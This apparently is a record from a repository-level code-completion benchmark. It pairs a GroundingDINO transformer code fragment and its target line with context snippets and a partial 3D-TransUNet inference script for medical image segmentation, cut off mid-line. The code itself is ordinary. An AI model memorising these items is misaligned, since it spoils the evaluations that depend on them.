from typing import Optional from torch import Tensor, nn from groundingdino.util.misc import inverse_sigmoid from .fuse_modules import BiAttentionBlock from .ms_deform_attn import MultiScaleDeformableAttention as MSDeformAttn from .transformer_vanilla import TransformerEncoderLayer from .utils import ( MLP, _get_activation_fn, _get_clones, gen_encoder_output_proposals, gen_sineembed_for_position, get_sine_pos_embed, ) import torch import torch.utils.checkpoint as checkpoint
8,567
): """_summary_ Args: encoder_layer (_type_): _description_ num_layers (_type_): _description_ norm (_type_, optional): _description_. Defaults to None. d_model (int, optional): _description_. Defaults to 256. num_queries (int, optional): _description_. Defaults to 300. enc_layer_share (bool, optional): _description_. Defaults to False. """ super().__init__() # prepare layers self.layers = [] self.text_layers = [] self.fusion_layers = [] if num_layers > 0: self.layers = _get_clones(encoder_layer, num_layers, layer_share=enc_layer_share) if text_enhance_layer is not None: self.text_layers = _get_clones( text_enhance_layer, num_layers, layer_share=enc_layer_share ) if feature_fusion_layer is not None: self.fusion_layers = _get_clones( feature_fusion_layer, num_layers, layer_share=enc_layer_share ) else: self.layers = [] del encoder_layer if text_enhance_layer is not None: self.text_layers = [] del text_enhance_layer if feature_fusion_layer is not None: self.fusion_layers = [] del feature_fusion_layer self.query_scale = None self.num_queries = num_queries self.num_layers = num_layers self.d_model = d_model self.use_checkpoint = use_checkpoint self.use_transformer_ckpt = use_transformer_ckpt @staticmethod def get_reference_points(spatial_shapes, valid_ratios, device): reference_points_list = [] for lvl, (H_, W_) in enumerate(spatial_shapes): ref_y, ref_x = torch.meshgrid( torch.linspace(0.5, H_ - 0.5, H_, dtype=torch.float32, device=device), torch.linspace(0.5, W_ - 0.5, W_, dtype=torch.float32, device=device), ) ref_y = ref_y.reshape(-1)[None] / (valid_ratios[:, None, lvl, 1] * H_) ref_x = ref_x.reshape(-1)[None] / (valid_ratios[:, None, lvl, 0] * W_) ref = torch.stack((ref_x, ref_y), -1) reference_points_list.append(ref) reference_points = torch.cat(reference_points_list, 1) reference_points = reference_points[:, :, None] * valid_ratios[:, None] return reference_points def forward( self, # for images src: Tensor, pos: Tensor, spatial_shapes: Tensor, level_start_index: Tensor, valid_ratios: Tensor, key_padding_mask: Tensor, # for texts memory_text: Tensor = None, text_attention_mask: Tensor = None, pos_text: Tensor = None, text_self_attention_masks: Tensor = None, position_ids: Tensor = None, ): """ Input: - src: [bs, sum(hi*wi), 256] - pos: pos embed for src. [bs, sum(hi*wi), 256] - spatial_shapes: h,w of each level [num_level, 2] - level_start_index: [num_level] start point of level in sum(hi*wi). - valid_ratios: [bs, num_level, 2] - key_padding_mask: [bs, sum(hi*wi)] - memory_text: bs, n_text, 256 - text_attention_mask: bs, n_text False for no padding; True for padding - pos_text: bs, n_text, 256 - position_ids: bs, n_text Intermedia: - reference_points: [bs, sum(hi*wi), num_level, 2] Outpus: - output: [bs, sum(hi*wi), 256] """ output = src # preparation and reshape if self.num_layers > 0: reference_points = self.get_reference_points( spatial_shapes, valid_ratios, device=src.device ) if self.text_layers: # generate pos_text bs, n_text, text_dim = memory_text.shape if pos_text is None and position_ids is None: pos_text = ( torch.arange(n_text, device=memory_text.device) .float() .unsqueeze(0) .unsqueeze(-1) .repeat(bs, 1, 1) )
# ------------------------------------------------------------------------ # Grounding DINO # url: https://github.com/IDEA-Research/GroundingDINO # Copyright (c) 2023 IDEA. All Rights Reserved. # Licensed under the Apache License, Version 2.0 [see LICENSE for details] # ------------------------------------------------------------------------ # DINO # Copyright (c) 2022 IDEA. All Rights Reserved. # Licensed under the Apache License, Version 2.0 [see LICENSE for details] # ------------------------------------------------------------------------ # Conditional DETR Transformer class. # Copyright (c) 2021 Microsoft. All Rights Reserved. # Licensed under the Apache License, Version 2.0 [see LICENSE for details] # ------------------------------------------------------------------------ # Modified from DETR (https://github.com/facebookresearch/detr) # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. # ------------------------------------------------------------------------ class Transformer(nn.Module): def __init__( self, d_model=256, nhead=8, num_queries=300, num_encoder_layers=6, num_unicoder_layers=0, num_decoder_layers=6, dim_feedforward=2048, dropout=0.0, activation="relu", normalize_before=False, return_intermediate_dec=False, query_dim=4, num_patterns=0, # for deformable encoder num_feature_levels=1, enc_n_points=4, dec_n_points=4, # init query learnable_tgt_init=False, # two stage two_stage_type="no", # ['no', 'standard', 'early', 'combine', 'enceachlayer', 'enclayer1'] embed_init_tgt=False, # for text use_text_enhancer=False, use_fusion_layer=False, use_checkpoint=False, use_transformer_ckpt=False, use_text_cross_attention=False, text_dropout=0.1, fusion_dropout=0.1, fusion_droppath=0.0, ): super().__init__() self.num_feature_levels = num_feature_levels self.num_encoder_layers = num_encoder_layers self.num_unicoder_layers = num_unicoder_layers self.num_decoder_layers = num_decoder_layers self.num_queries = num_queries assert query_dim == 4 # choose encoder layer type encoder_layer = DeformableTransformerEncoderLayer( d_model, dim_feedforward, dropout, activation, num_feature_levels, nhead, enc_n_points ) if use_text_enhancer: text_enhance_layer = TransformerEncoderLayer( d_model=d_model, nhead=nhead // 2, dim_feedforward=dim_feedforward // 2, dropout=text_dropout, ) else: text_enhance_layer = None if use_fusion_layer: feature_fusion_layer = BiAttentionBlock( v_dim=d_model, l_dim=d_model, embed_dim=dim_feedforward // 2, num_heads=nhead // 2, dropout=fusion_dropout, drop_path=fusion_droppath, ) else: feature_fusion_layer = None encoder_norm = nn.LayerNorm(d_model) if normalize_before else None assert encoder_norm is None self.encoder = TransformerEncoder( encoder_layer, num_encoder_layers, d_model=d_model, num_queries=num_queries, text_enhance_layer=text_enhance_layer, feature_fusion_layer=feature_fusion_layer, use_checkpoint=use_checkpoint, use_transformer_ckpt=use_transformer_ckpt, ) # choose decoder layer type decoder_layer = DeformableTransformerDecoderLayer( d_model, dim_feedforward, dropout, activation, num_feature_levels, nhead, dec_n_points, use_text_cross_attention=use_text_cross_attention, ) decoder_norm = nn.LayerNorm(d_model) self.decoder = TransformerDecoder( decoder_layer, num_decoder_layers, decoder_norm, return_intermediate=return_intermediate_dec, d_model=d_model, query_dim=query_dim, num_feature_levels=num_feature_levels, ) self.d_model = d_model self.nhead = nhead self.dec_layers = num_decoder_layers self.num_queries = num_queries # useful for single stage model only self.num_patterns = num_patterns if not isinstance(num_patterns, int): Warning("num_patterns should be int but {}".format(type(num_patterns))) self.num_patterns = 0 if num_feature_levels > 1: if self.num_encoder_layers > 0: self.level_embed = nn.Parameter(torch.Tensor(num_feature_levels, d_model)) else: self.level_embed = None self.learnable_tgt_init = learnable_tgt_init assert learnable_tgt_init, "why not learnable_tgt_init" self.embed_init_tgt = embed_init_tgt if (two_stage_type != "no" and embed_init_tgt) or (two_stage_type == "no"): self.tgt_embed = nn.Embedding(self.num_queries, d_model) nn.init.normal_(self.tgt_embed.weight.data) else: self.tgt_embed = None # for two stage self.two_stage_type = two_stage_type assert two_stage_type in ["no", "standard"], "unknown param {} of two_stage_type".format( two_stage_type ) if two_stage_type == "standard": # anchor selection at the output of encoder self.enc_output = nn.Linear(d_model, d_model) self.enc_output_norm = nn.LayerNorm(d_model) self.two_stage_wh_embedding = None if two_stage_type == "no": self.init_ref_points(num_queries) # init self.refpoint_embed self.enc_out_class_embed = None self.enc_out_bbox_embed = None self._reset_parameters() def _reset_parameters(self): for p in self.parameters(): if p.dim() > 1: nn.init.xavier_uniform_(p) for m in self.modules(): if isinstance(m, MSDeformAttn): m._reset_parameters() if self.num_feature_levels > 1 and self.level_embed is not None: nn.init.normal_(self.level_embed) def get_valid_ratio(self, mask): _, H, W = mask.shape valid_H = torch.sum(~mask[:, :, 0], 1) valid_W = torch.sum(~mask[:, 0, :], 1) valid_ratio_h = valid_H.float() / H valid_ratio_w = valid_W.float() / W valid_ratio = torch.stack([valid_ratio_w, valid_ratio_h], -1) return valid_ratio def init_ref_points(self, use_num_queries): self.refpoint_embed = nn.Embedding(use_num_queries, 4) def forward(self, srcs, masks, refpoint_embed, pos_embeds, tgt, attn_mask=None, text_dict=None): """ Input: - srcs: List of multi features [bs, ci, hi, wi] - masks: List of multi masks [bs, hi, wi] - refpoint_embed: [bs, num_dn, 4]. None in infer - pos_embeds: List of multi pos embeds [bs, ci, hi, wi] - tgt: [bs, num_dn, d_model]. None in infer """ # prepare input for encoder src_flatten = [] mask_flatten = [] lvl_pos_embed_flatten = [] spatial_shapes = [] for lvl, (src, mask, pos_embed) in enumerate(zip(srcs, masks, pos_embeds)): bs, c, h, w = src.shape spatial_shape = (h, w) spatial_shapes.append(spatial_shape) src = src.flatten(2).transpose(1, 2) # bs, hw, c mask = mask.flatten(1) # bs, hw pos_embed = pos_embed.flatten(2).transpose(1, 2) # bs, hw, c if self.num_feature_levels > 1 and self.level_embed is not None: lvl_pos_embed = pos_embed + self.level_embed[lvl].view(1, 1, -1) else: lvl_pos_embed = pos_embed lvl_pos_embed_flatten.append(lvl_pos_embed) src_flatten.append(src) mask_flatten.append(mask) src_flatten = torch.cat(src_flatten, 1) # bs, \sum{hxw}, c mask_flatten = torch.cat(mask_flatten, 1) # bs, \sum{hxw} lvl_pos_embed_flatten = torch.cat(lvl_pos_embed_flatten, 1) # bs, \sum{hxw}, c spatial_shapes = torch.as_tensor( spatial_shapes, dtype=torch.long, device=src_flatten.device ) level_start_index = torch.cat( (spatial_shapes.new_zeros((1,)), spatial_shapes.prod(1).cumsum(0)[:-1]) ) valid_ratios = torch.stack([self.get_valid_ratio(m) for m in masks], 1) # two stage enc_topk_proposals = enc_refpoint_embed = None ######################################################### # Begin Encoder ######################################################### memory, memory_text = self.encoder( src_flatten, pos=lvl_pos_embed_flatten, level_start_index=level_start_index, spatial_shapes=spatial_shapes, valid_ratios=valid_ratios, key_padding_mask=mask_flatten, memory_text=text_dict["encoded_text"], text_attention_mask=~text_dict["text_token_mask"], # we ~ the mask . False means use the token; True means pad the token position_ids=text_dict["position_ids"], text_self_attention_masks=text_dict["text_self_attention_masks"], ) ######################################################### # End Encoder # - memory: bs, \sum{hw}, c # - mask_flatten: bs, \sum{hw} # - lvl_pos_embed_flatten: bs, \sum{hw}, c # - enc_intermediate_output: None or (nenc+1, bs, nq, c) or (nenc, bs, nq, c) # - enc_intermediate_refpoints: None or (nenc+1, bs, nq, c) or (nenc, bs, nq, c) ######################################################### text_dict["encoded_text"] = memory_text # if os.environ.get("SHILONG_AMP_INFNAN_DEBUG") == '1': # if memory.isnan().any() | memory.isinf().any(): # import ipdb; ipdb.set_trace() if self.two_stage_type == "standard": #把encoder的输出作为proposal output_memory, output_proposals = gen_encoder_output_proposals( memory, mask_flatten, spatial_shapes ) output_memory = self.enc_output_norm(self.enc_output(output_memory)) if text_dict is not None: enc_outputs_class_unselected = self.enc_out_class_embed(output_memory, text_dict) else: enc_outputs_class_unselected = self.enc_out_class_embed(output_memory) topk_logits = enc_outputs_class_unselected.max(-1)[0] enc_outputs_coord_unselected = ( self.enc_out_bbox_embed(output_memory) + output_proposals ) # (bs, \sum{hw}, 4) unsigmoid topk = self.num_queries topk_proposals = torch.topk(topk_logits, topk, dim=1)[1] # bs, nq # gather boxes refpoint_embed_undetach = torch.gather( enc_outputs_coord_unselected, 1, topk_proposals.unsqueeze(-1).repeat(1, 1, 4) ) # unsigmoid refpoint_embed_ = refpoint_embed_undetach.detach() init_box_proposal = torch.gather( output_proposals, 1, topk_proposals.unsqueeze(-1).repeat(1, 1, 4) ).sigmoid() # sigmoid # gather tgt tgt_undetach = torch.gather( output_memory, 1, topk_proposals.unsqueeze(-1).repeat(1, 1, self.d_model) ) if self.embed_init_tgt: tgt_ = ( self.tgt_embed.weight[:, None, :].repeat(1, bs, 1).transpose(0, 1) ) # nq, bs, d_model else: tgt_ = tgt_undetach.detach() if refpoint_embed is not None: refpoint_embed = torch.cat([refpoint_embed, refpoint_embed_], dim=1) tgt = torch.cat([tgt, tgt_], dim=1) else: refpoint_embed, tgt = refpoint_embed_, tgt_ elif self.two_stage_type == "no": tgt_ = ( self.tgt_embed.weight[:, None, :].repeat(1, bs, 1).transpose(0, 1) ) # nq, bs, d_model refpoint_embed_ = ( self.refpoint_embed.weight[:, None, :].repeat(1, bs, 1).transpose(0, 1) ) # nq, bs, 4 if refpoint_embed is not None: refpoint_embed = torch.cat([refpoint_embed, refpoint_embed_], dim=1) tgt = torch.cat([tgt, tgt_], dim=1) else: refpoint_embed, tgt = refpoint_embed_, tgt_ if self.num_patterns > 0: tgt_embed = tgt.repeat(1, self.num_patterns, 1) refpoint_embed = refpoint_embed.repeat(1, self.num_patterns, 1) tgt_pat = self.patterns.weight[None, :, :].repeat_interleave( self.num_queries, 1 ) # 1, n_q*n_pat, d_model tgt = tgt_embed + tgt_pat init_box_proposal = refpoint_embed_.sigmoid() else: raise NotImplementedError("unknown two_stage_type {}".format(self.two_stage_type)) ######################################################### # End preparing tgt # - tgt: bs, NQ, d_model # - refpoint_embed(unsigmoid): bs, NQ, d_model ######################################################### ######################################################### # Begin Decoder ######################################################### #memory torch.Size([2, 16320, 256]) # import pdb;pdb.set_trace() hs, references = self.decoder( tgt=tgt.transpose(0, 1), memory=memory.transpose(0, 1), memory_key_padding_mask=mask_flatten, pos=lvl_pos_embed_flatten.transpose(0, 1), refpoints_unsigmoid=refpoint_embed.transpose(0, 1), level_start_index=level_start_index, spatial_shapes=spatial_shapes, valid_ratios=valid_ratios, tgt_mask=attn_mask, memory_text=text_dict["encoded_text"], text_attention_mask=~text_dict["text_token_mask"], # we ~ the mask . False means use the token; True means pad the token ) ######################################################### # End Decoder # hs: n_dec, bs, nq, d_model # references: n_dec+1, bs, nq, query_dim ######################################################### ######################################################### # Begin postprocess ######################################################### if self.two_stage_type == "standard": hs_enc = tgt_undetach.unsqueeze(0) ref_enc = refpoint_embed_undetach.sigmoid().unsqueeze(0) else: hs_enc = ref_enc = None ######################################################### # End postprocess # hs_enc: (n_enc+1, bs, nq, d_model) or (1, bs, nq, d_model) or (n_enc, bs, nq, d_model) or None # ref_enc: (n_enc+1, bs, nq, query_dim) or (1, bs, nq, query_dim) or (n_enc, bs, nq, d_model) or None ######################################################### return hs, references, hs_enc, ref_enc, init_box_proposal # hs: (n_dec, bs, nq, d_model) # references: sigmoid coordinates. (n_dec+1, bs, bq, 4) # hs_enc: (n_enc+1, bs, nq, d_model) or (1, bs, nq, d_model) or None # ref_enc: sigmoid coordinates. \ # (n_enc+1, bs, nq, query_dim) or (1, bs, nq, query_dim) or None class TransformerEncoder(nn.Module): def __init__( self, encoder_layer, num_layers, d_model=256, num_queries=300, enc_layer_share=False, text_enhance_layer=None, feature_fusion_layer=None, use_checkpoint=False, use_transformer_ckpt=False, ): """_summary_ Args: encoder_layer (_type_): _description_ num_layers (_type_): _description_ norm (_type_, optional): _description_. Defaults to None. d_model (int, optional): _description_. Defaults to 256. num_queries (int, optional): _description_. Defaults to 300. enc_layer_share (bool, optional): _description_. Defaults to False. """ super().__init__() # prepare layers self.layers = [] self.text_layers = [] self.fusion_layers = [] if num_layers > 0: self.layers = _get_clones(encoder_layer, num_layers, layer_share=enc_layer_share) if text_enhance_layer is not None: self.text_layers = _get_clones( text_enhance_layer, num_layers, layer_share=enc_layer_share ) if feature_fusion_layer is not None: self.fusion_layers = _get_clones( feature_fusion_layer, num_layers, layer_share=enc_layer_share ) else: self.layers = [] del encoder_layer if text_enhance_layer is not None: self.text_layers = [] del text_enhance_layer if feature_fusion_layer is not None: self.fusion_layers = [] del feature_fusion_layer self.query_scale = None self.num_queries = num_queries self.num_layers = num_layers self.d_model = d_model self.use_checkpoint = use_checkpoint self.use_transformer_ckpt = use_transformer_ckpt @staticmethod def get_reference_points(spatial_shapes, valid_ratios, device): reference_points_list = [] for lvl, (H_, W_) in enumerate(spatial_shapes): ref_y, ref_x = torch.meshgrid( torch.linspace(0.5, H_ - 0.5, H_, dtype=torch.float32, device=device), torch.linspace(0.5, W_ - 0.5, W_, dtype=torch.float32, device=device), ) ref_y = ref_y.reshape(-1)[None] / (valid_ratios[:, None, lvl, 1] * H_) ref_x = ref_x.reshape(-1)[None] / (valid_ratios[:, None, lvl, 0] * W_) ref = torch.stack((ref_x, ref_y), -1) reference_points_list.append(ref) reference_points = torch.cat(reference_points_list, 1) reference_points = reference_points[:, :, None] * valid_ratios[:, None] return reference_points def forward( self, # for images src: Tensor, pos: Tensor, spatial_shapes: Tensor, level_start_index: Tensor, valid_ratios: Tensor, key_padding_mask: Tensor, # for texts memory_text: Tensor = None, text_attention_mask: Tensor = None, pos_text: Tensor = None, text_self_attention_masks: Tensor = None, position_ids: Tensor = None, ): """ Input: - src: [bs, sum(hi*wi), 256] - pos: pos embed for src. [bs, sum(hi*wi), 256] - spatial_shapes: h,w of each level [num_level, 2] - level_start_index: [num_level] start point of level in sum(hi*wi). - valid_ratios: [bs, num_level, 2] - key_padding_mask: [bs, sum(hi*wi)] - memory_text: bs, n_text, 256 - text_attention_mask: bs, n_text False for no padding; True for padding - pos_text: bs, n_text, 256 - position_ids: bs, n_text Intermedia: - reference_points: [bs, sum(hi*wi), num_level, 2] Outpus: - output: [bs, sum(hi*wi), 256] """ output = src # preparation and reshape if self.num_layers > 0: reference_points = self.get_reference_points( spatial_shapes, valid_ratios, device=src.device ) if self.text_layers: # generate pos_text bs, n_text, text_dim = memory_text.shape if pos_text is None and position_ids is None: pos_text = ( torch.arange(n_text, device=memory_text.device) .float() .unsqueeze(0) .unsqueeze(-1) .repeat(bs, 1, 1) )
pos_text = get_sine_pos_embed(pos_text, num_pos_feats=256, exchange_xy=False)
9
2023-10-14 02:20:31+00:00
12k
Beckschen/3D-TransUNet
inference.py
[ { "identifier": "get_default_configuration", "path": "nn_transunet/default_configuration.py", "snippet": "def get_default_configuration(network, task, network_trainer, plans_identifier=default_plans_identifier,\n search_in=(os.getenv('nnUNet_codebase'), \"training\", \"netwo...
import argparse import yaml import shutil import SimpleITK as sitk import numpy as np import torch import torch.nn as nn import torch.nn.functional as F import sys from glob import glob from scipy.ndimage.filters import gaussian_filter from typing import Tuple from tqdm import tqdm from nn_transunet.default_configuration import get_default_configuration from nn_transunet.configuration import default_plans_identifier from nn_transunet.networks.nnunet_model import Generic_UNet from nn_transunet.utils.dist_utils import download_from_hdfs from batchgenerators.utilities.file_and_folder_operations import * from collections import OrderedDict from nn_transunet.networks.neural_network import no_op from torch.cuda.amp import autocast from nn_transunet.networks.transunet3d_model import InitWeights_He from flop_count.flop_count import flop_count from nn_transunet.networks.transunet3d_model import Generic_TransUNet_max_ppbp from nnunet.preprocessing.cropping import ImageCropper from nnunet.preprocessing.preprocessing import GenericPreprocessor
9,044
aux_mask_out = [p['pred_masks'] for p in seg_pro['aux_outputs']] all_cls_out, all_mask_out = [seg_pro["pred_logits"]] + aux_cls_out[::-1], [seg_pro["pred_masks"]] + aux_mask_out[::-1] for i, (mask_cls, mask_pred) in enumerate(zip(all_cls_out, all_mask_out)): # desceding order mask_cls = F.softmax(mask_cls, dim=-1)[..., :-1] # filter out non-object class mask_pred = mask_pred.sigmoid() _seg_pro = torch.einsum("bqc,bqdhw->bcdhw", mask_cls, mask_pred) _pred = _seg_pro * gaussian_mask prob_map[i, :, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred elif isinstance(seg_pro, dict) and ('is_max_hungarian' in model_params.keys() and model_params['is_max_hungarian']): mask_cls, mask_pred = seg_pro["pred_logits"], seg_pro["pred_masks"] mask_cls = F.softmax(mask_cls, dim=-1)[..., :-1] # filter out non-object class mask_pred = mask_pred.sigmoid() seg_pro = torch.einsum("bqc,bqdhw->bcdhw", mask_cls, mask_pred) _pred = seg_pro if args.config.find('500Region') != -1 or task.find('005') != -1 or task.find('001') != -1: _pred = seg_pro else: _pred = seg_pro * gaussian_mask prob_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred # NOTE: should also smooth cnt_map if apply gaussian_mask before | neural_network.py -> network.predict_3D -> _internal_predict_3D_3Dconv_tiled cnt_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += 1 elif args.num_ds is not None and not isinstance(seg_pro, dict): # (isinstance(seg_pro, list) or isinstance(seg_pro, tuple)) assert len(seg_pro) == args.num_ds, (len(seg_pro), args.num_ds) for i, _seg_pro in enumerate(seg_pro): if torch.sum(_seg_pro[0,:,0,0,0]) != 1: _seg_pro = torch.softmax(_seg_pro, dim=1) _pred = _seg_pro * gaussian_mask prob_map[i, :, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred elif isinstance(seg_pro, list) or isinstance(seg_pro, tuple): seg_pro = seg_pro[0] if torch.sum(seg_pro[0,:,0,0,0]) != 1: seg_pro = torch.softmax(seg_pro, dim=1) _pred = seg_pro * gaussian_mask prob_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred else: if args.is_sigmoid: _pred = seg_pro.sigmoid() elif torch.sum(seg_pro[0,:,0,0,0]) != 1: seg_pro = torch.softmax(seg_pro, dim=1) _pred = seg_pro * gaussian_mask prob_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += _pred cnt_map[:, :, lb_x:ub_x, lb_y:ub_y, lb_z:ub_z] += 1 print("before devision", prob_map.max(), prob_map.min(), cnt_map.min()) if args.config.find('500Region') != -1 or task.find('005') != -1 or task.find('001') != -1: prob_map /= cnt_map print("after devision", prob_map.max(), prob_map.min()) # viz_data(torch.from_numpy(raw_norm[np.newaxis, np.newaxis]).cuda().half(), prob_map) torch.cuda.empty_cache() return prob_map.detach().cpu() def itk_change_spacing(src_itk, output_spacing, interpolate_method='Linear'): assert interpolate_method in ['Linear', 'NearestNeighbor'] src_size = src_itk.GetSize() src_spacing = src_itk.GetSpacing() re_sample_scale = tuple(np.array(src_spacing) / np.array(output_spacing).astype(float)) re_sample_size = tuple(np.array(src_size).astype(float) * np.array(re_sample_scale)) re_sample_size = [int(round(x)) for x in re_sample_size] output_spacing = tuple((np.array(src_size) / np.array(re_sample_size)) * np.array(src_spacing)) re_sampler = sitk.ResampleImageFilter() re_sampler.SetOutputPixelType(src_itk.GetPixelID()) re_sampler.SetReferenceImage(src_itk) re_sampler.SetSize(re_sample_size) re_sampler.SetOutputSpacing(output_spacing) re_sampler.SetInterpolator(eval('sitk.sitk' + interpolate_method)) return re_sampler.Execute(src_itk) def resample_image_to_ref(image, ref, interp=sitk.sitkNearestNeighbor, pad_value=0): resample = sitk.ResampleImageFilter() resample.SetReferenceImage(ref) resample.SetDefaultPixelValue(pad_value) resample.SetInterpolator(interp) return resample.Execute(image) def Inference3D_multiphase(rawf, save_path=None, mode='nii'): """if use nii, can crop and preprocess given a list of path; already check the npy is the same with f(nii)""" if mode=='npy': # preferred rawf_npy = rawf.replace('nnUNet_raw_data', 'nnUNet_preprocessed').replace('imagesTr', 'nnUNetData_plans_v2.1_stage0').replace('_0000.nii.gz', '.npy') assert os.path.exists(rawf_npy) # already preprocessed! img_arr = np.load(rawf_npy)[:4] else: # data_files: a list of path # nnunet.inference.predict will call # nnunet.training.network_training.nnUNetTrainer -> nnUNetTrainer.preprocess_patient(data_files) # for new unseen data. # nnunet.preprocessing.preprocessing -> GenericPreprocessor.preprocess_test_case(data_files, current_spacing) will do ImageCropper.crop_from_list_of_files(data_files) and resample_and_normalize # return data, seg, properties data_files = [] # an element in lists_of_list: [[case0_0000.nii.gz, case0_0001.nii.gz], [case1_0000.nii.gz, case1_0001.nii.gz], ...] for i in range(num_input_channels): data_files.append(rawf.replace('0000', '000'+str(i))) data, seg, crop_properties = ImageCropper.crop_from_list_of_files(data_files, seg_file=None) # can retrive properties['crop_bbox'], seg is all -1 array force_separate_z, target_spacing = False, [1.0, 1.0, 1.0] data, seg = data.transpose((0, *[i + 1 for i in transpose_forward])), seg.transpose((0, *[i + 1 for i in transpose_forward])) preprocessor = GenericPreprocessor(normalization_schemes, use_mask_for_norm, transpose_forward, intensity_properties) data, _, crop_prep_properties = preprocessor.resample_and_normalize(data, target_spacing, crop_properties, seg, force_separate_z=force_separate_z) img_arr = data pad_flag = 0 padzyx = np.clip(np.array(patch_size) - np.array(img_arr.shape)[-3:], 0, 1000) # clip the shape.. if np.any(padzyx > 0): pad_flag = 1 pad_left = padzyx // 2 pad_right = padzyx - padzyx // 2 img_arr = np.pad(img_arr, ((0, 0), (pad_left[0], pad_right[0]), (pad_left[1], pad_right[1]), (pad_left[2], pad_right[2]))) # PREDICT! if args.mixed_precision: context = autocast else:
def get_flops(model, test_data): batch_size = test_data.shape[0] flop_dict, _ = flop_count(model, (test_data,)) msg = 'model_flops' + '\t' + str(sum(flop_dict.values()) / batch_size) + 'G'+ '\t params:' + str( sum([m.numel() for m in model.parameters()])) + '\n-----------------' return msg """ can also inference for Generic_UNet with: python3 -m torch.distributed.launch --master_port=4321 --nproc_per_node=8 run_training_DDP.py --config='./configs/Generic_UNet_DDP_bs2x8_lr0.08.yaml' --fold=0 -val --val_final """ parser = argparse.ArgumentParser() parser.add_argument('--config', default='', type=str, metavar='FILE', help='YAML config file specifying default arguments') parser.add_argument("--fold", default=0, help='0, 1, ..., 5 or \'all\'') parser.add_argument("--raw_data_dir", default='') parser.add_argument("--raw_data_folder", default='imagesTr', help='can be imagesVal') parser.add_argument("--save_folder", default=None) parser.add_argument("--save_npz", default=False, action="store_true") parser.add_argument("--disable_split", default=False, action="store_true", help='just use raw_data_dir, do not use split!') parser.add_argument("--model_latest", default=False, action="store_true", help='') parser.add_argument("--model_final", default=False, action="store_true", help='') parser.add_argument("--mixed_precision", default=True, type=bool, help='') parser.add_argument("--measure_param_flops", default=False, action="store_true", help='') ##################### the args from train script ######################################### parser.add_argument("--local_rank", type=int, default=0) parser.add_argument('--loss_name', default='', type=str) parser.add_argument('--plan_update', default='', type=str) parser.add_argument('--crop_size', nargs='+', type=int, default=None, help='input to network') parser.add_argument("--pretrained", default=False, action="store_true", help="") parser.add_argument("--disable_decoder", default=False, action="store_true", help="disable decoder of mae network") parser.add_argument("--model_params", default={}) parser.add_argument('--layer_decay', default=1.0, type=float, help="layer-wise dacay for lr") parser.add_argument('--drop_path', type=float, default=0.0, metavar='PCT', help='Drop path rate (default: 0.1), drop_path=0 for MAE pretrain') parser.add_argument("--find_zero_weight_decay", default=False, action="store_true", help="") parser.add_argument('--n_class', default=17, type=int, help="") parser.add_argument('--deep_supervision_scales', nargs='+', type=int, default=[], help='') parser.add_argument("--fix_ds_net_numpool", default=False, action="store_true", help="") parser.add_argument("--num_ds", default=None, type=int, help="") parser.add_argument("--is_sigmoid", default=False, action="store_true", help="") parser.add_argument("--num_examples", type=int, help="") args, remaining = parser.parse_known_args() # expect return 'remaining' standing for the namspace from launch? but not... model_params = {} if args.config: with open(args.config, 'r') as f: cfg = yaml.safe_load(f) parser.set_defaults(**cfg) if "model_params" in cfg.keys(): model_params = cfg["model_params"] else: raise NotImplementedError args = parser.parse_args() network, task, network_trainer, hdfs_base = cfg['network'], cfg['task'], cfg['network_trainer'], cfg['hdfs_base'] plans_identifier = default_plans_identifier plans_file, output_folder_name, dataset_directory, batch_dice, stage, \ trainer_class = get_default_configuration(network, task, network_trainer, plans_identifier, hdfs_base=hdfs_base, plan_update='' if 'plan_update' not in cfg.keys() else cfg['plan_update']) os.makedirs(output_folder_name, exist_ok=True) fold_name = args.fold if isinstance(args.fold, str) and args.fold.startswith('all') else 'fold_'+str(args.fold) output_folder = output_folder_name + '/' + fold_name plans_path = os.path.join(output_folder_name, 'plans.pkl') shutil.copy(plans_file, plans_path) val_keys = None if not args.disable_split: splits_file = os.path.join(dataset_directory, "splits_final.pkl") splits = load_pickle(splits_file) if not args.fold.startswith('all'): assert int(args.fold) < len(splits) val_keys = splits[int(args.fold)]['val'] if isinstance(val_keys, np.ndarray): val_keys = val_keys.tolist() print("output folder for snapshot loading exists: ", output_folder) prefix = "version5" planfile = plans_path if os.path.exists(output_folder + '/' + 'model_best.model') and not args.model_latest and not args.model_final: print("load model_best.model") modelfile = output_folder + '/' + 'model_best.model' elif os.path.exists(output_folder + '/' + 'model_final_checkpoint.model') and not args.model_latest: print("load model_final_checkpoint.model") modelfile = output_folder + '/' + 'model_final_checkpoint.model' else: print("load model_latest.model") modelfile = output_folder + '/' + 'model_latest.model' info = pickle.load(open(planfile, "rb")) plan_data = {} plan_data["plans"] = info resolution_index = 1 if cfg['task'].find('500') != -1: # multiphase task e.g, Brats resolution_index = 0 num_classes = plan_data['plans']['num_classes'] if args.config.find('500Region') != -1: regions = {"whole tumor": (1, 2, 3), "tumor core": (2, 3), "enhancing tumor": (3,) } regions_class_order = (1, 2, 3) num_classes = len(regions) else: num_classes += 1 # add background base_num_features = plan_data['plans']['base_num_features'] if '005' in plans_file or '004' in plans_file or '001' in plans_file or '002' in plans_file : # multiphase task e.g, Brats resolution_index = 0 patch_size = plan_data['plans']['plans_per_stage'][resolution_index]['patch_size'] patch_size = args.crop_size if args.crop_size is not None else patch_size num_input_channels = plan_data['plans']['num_modalities'] conv_per_stage = plan_data['plans']['conv_per_stage'] if "conv_per_stage" in plan_data['plans'].keys() else 2 # what is ['plans']['dataset_properties']['size_reductions'] for brats use_mask_for_norm = plan_data['plans']['use_mask_for_norm'] normalization_schemes = plan_data['plans']['normalization_schemes'] intensity_properties = plan_data['plans']['dataset_properties']['intensityproperties'] transpose_forward, transpose_backward = plan_data['plans']['transpose_forward'], plan_data['plans']['transpose_backward'] pool_op_kernel_sizes = plan_data['plans']['plans_per_stage'][resolution_index]['pool_op_kernel_sizes'] conv_kernel_sizes = plan_data['plans']['plans_per_stage'][resolution_index]['conv_kernel_sizes'] current_spacing = plan_data['plans']['plans_per_stage'][resolution_index]['current_spacing'] try: mean = plan_data['plans']['dataset_properties']['intensityproperties'][0]['mean'] std = plan_data['plans']['dataset_properties']['intensityproperties'][0]['sd'] clip_min = 